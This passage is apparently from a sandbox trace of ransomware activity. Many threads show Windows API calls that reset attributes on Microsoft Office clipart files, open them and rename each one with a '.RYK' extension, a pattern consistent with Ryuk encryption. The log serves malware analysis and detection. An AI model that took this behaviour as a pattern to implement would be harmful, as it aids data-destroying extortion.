	[0243.587] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2423
	os_tid = 0x2bb4

	[0243.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF", dwFileAttributes=0x80) returned 0
	[0243.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.806] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.806] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2424
	os_tid = 0x2bb8

	[0243.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF", dwFileAttributes=0x80) returned 0
	[0243.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.808] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.808] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2425
	os_tid = 0x2bbc

	[0243.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF", dwFileAttributes=0x80) returned 0
	[0243.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.809] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.809] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2426
	os_tid = 0x2bc0

	[0243.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID", dwFileAttributes=0x80) returned 0
	[0243.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.909] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.910] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2427
	os_tid = 0x2bc4

	[0243.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF", dwFileAttributes=0x80) returned 0
	[0243.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.911] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.911] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2428
	os_tid = 0x2bc8

	[0243.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF", dwFileAttributes=0x80) returned 0
	[0243.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.813] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.813] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2429
	os_tid = 0x2bcc

	[0243.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF", dwFileAttributes=0x80) returned 0
	[0243.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.913] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.913] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2430
	os_tid = 0x2bd0

	[0243.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF", dwFileAttributes=0x80) returned 0
	[0243.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.914] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.915] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2431
	os_tid = 0x2bd4

	[0243.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF", dwFileAttributes=0x80) returned 0
	[0243.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.916] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.916] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2432
	os_tid = 0x2bd8

	[0243.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF", dwFileAttributes=0x80) returned 0
	[0243.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.820] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.820] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2433
	os_tid = 0x2bdc

	[0243.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF", dwFileAttributes=0x80) returned 0
	[0243.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.918] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2434
	os_tid = 0x2be0

	[0243.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF", dwFileAttributes=0x80) returned 0
	[0243.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.919] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2435
	os_tid = 0x2be4

	[0243.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF", dwFileAttributes=0x80) returned 0
	[0243.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.921] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.921] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2436
	os_tid = 0x2be8

	[0243.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF", dwFileAttributes=0x80) returned 0
	[0243.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.923] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.923] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2437
	os_tid = 0x2bec

	[0243.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF", dwFileAttributes=0x80) returned 0
	[0244.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.218] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.218] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2438
	os_tid = 0x2bf0

	[0243.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF", dwFileAttributes=0x80) returned 0
	[0244.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.373] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.373] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2439
	os_tid = 0x2bf4

	[0243.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF", dwFileAttributes=0x80) returned 0
	[0244.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.374] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.374] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2440
	os_tid = 0x2bf8

	[0243.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF", dwFileAttributes=0x80) returned 0
	[0244.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.375] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.375] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2441
	os_tid = 0x2bfc

	[0243.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF", dwFileAttributes=0x80) returned 0
	[0243.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.930] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.930] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2442
	os_tid = 0x28a0

	[0243.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF", dwFileAttributes=0x80) returned 0
	[0244.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.376] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.376] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2443
	os_tid = 0x2864

	[0243.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF", dwFileAttributes=0x80) returned 0
	[0244.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.377] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.377] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2444
	os_tid = 0x289c

	[0243.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF", dwFileAttributes=0x80) returned 0
	[0243.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.936] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.936] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2445
	os_tid = 0x26e8

	[0243.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF", dwFileAttributes=0x80) returned 0
	[0244.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.378] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2446
	os_tid = 0x26e4

	[0243.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF", dwFileAttributes=0x80) returned 0
	[0244.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.399] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.400] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2447
	os_tid = 0x2680

	[0244.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF", dwFileAttributes=0x80) returned 0
	[0244.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.527] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.527] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2448
	os_tid = 0x271c

	[0244.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF", dwFileAttributes=0x80) returned 0
